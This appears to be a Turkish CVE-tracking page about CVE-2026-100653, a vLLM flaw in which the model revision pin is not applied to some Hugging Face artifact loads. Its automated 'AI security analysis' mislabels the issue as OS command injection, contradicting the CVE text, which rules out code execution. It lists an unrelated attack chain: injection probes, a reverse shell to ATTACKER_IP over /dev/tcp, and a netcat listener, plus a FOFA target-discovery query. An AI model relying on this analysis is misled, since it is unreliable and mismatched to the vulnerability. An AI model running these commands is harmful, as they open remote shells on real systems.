CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-100653

CWE-348

ORTA CVSS 6.5 ⚡ EPSS 0.3% NVD

vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speech_tokenizer PreTrainedTokenizerFast loads in vllm/model_executor/models/funaudiochat.py and the Qwen2VLConfig.from_pretrained call used by Tarsier2ProcessingInfo in vllm/model_executor/models/qwen2_vl.py. As a result, deployments pinned to a reviewed revision still resolve these behavior-affecting processor, tokenizer, and config artifacts from the repository's default revision, so a later change to the upstream default branch can alter audio preprocessing, speech tokenizer behavior, or Tarsier2 configuration without any change to the operator's configured pin. This is a supply-chain integrity and reproducibility failure for pinned deployments; it is residual to the earlier fix tracked as GHSA-3ww4-5jv9-j5gm / CVE-2026-47155 and does not constitute remote code execution or a trust_remote_code=False bypass. The issue is fixed in version 0.28.0.

Yayınlanma 26.09.2026
ISO Tarih 2026-09-26
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity High I:H
Availability None A:N
EPSS — Exploit Olasılık Skoru
0.3%
30 günlük olasılık
Tüm CVElerin 28. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-100653
CVSS 6.5/10 · ORTA · 26.09.2026
CWE: CWE-348
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speech_tokenizer PreTrainedTokenizerFast loads in vllm/model_executor/models/fun…
Etkilenen: vllm:vllm

⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444

🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190

🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir.

🛡️ ÇÖZÜM VE MİTİGASYON
→ vllm:vllm için üretici güvenlik güncellemesini uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ Yama öncesi: servis erişimini VPN arkasına al veya IP whitelist uygula.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.

⚠️ ACİLİYET
📋 Rutin güncelleme (30 gün)

────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]

[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]

Hedef Keşif Sorguları

FOFA Sorgusu

app="vllm vllm"
CVSS Skoru
6.5 / 10 · CVSS ORTA
Zayıflık Türleri (CWE)
CWE-348
Etkilenen Ürünler (1)
vllm:vllm (tüm sürümler)
Referanslar (4)
github.com patch
github.com exploit advisory
github.com exploit advisory
İlgili CVE'ler
9.9
CVE-2026-61682
kcp is a Kubernetes-like control plane for form-factors and use-cases beyond Kubernetes and container workload
9.1
CVE-2026-92395
@fastify/proxy-addr is a Fastify plugin that determines a request's client address behind trusted reverse prox
9.1
CVE-2026-90711
proxy-addr is a Node.js module that determines a request's client address behind trusted reverse proxies, and
9.1
CVE-2026-16272
Use of less trusted source vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual
7.5
CVE-2026-107567
Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a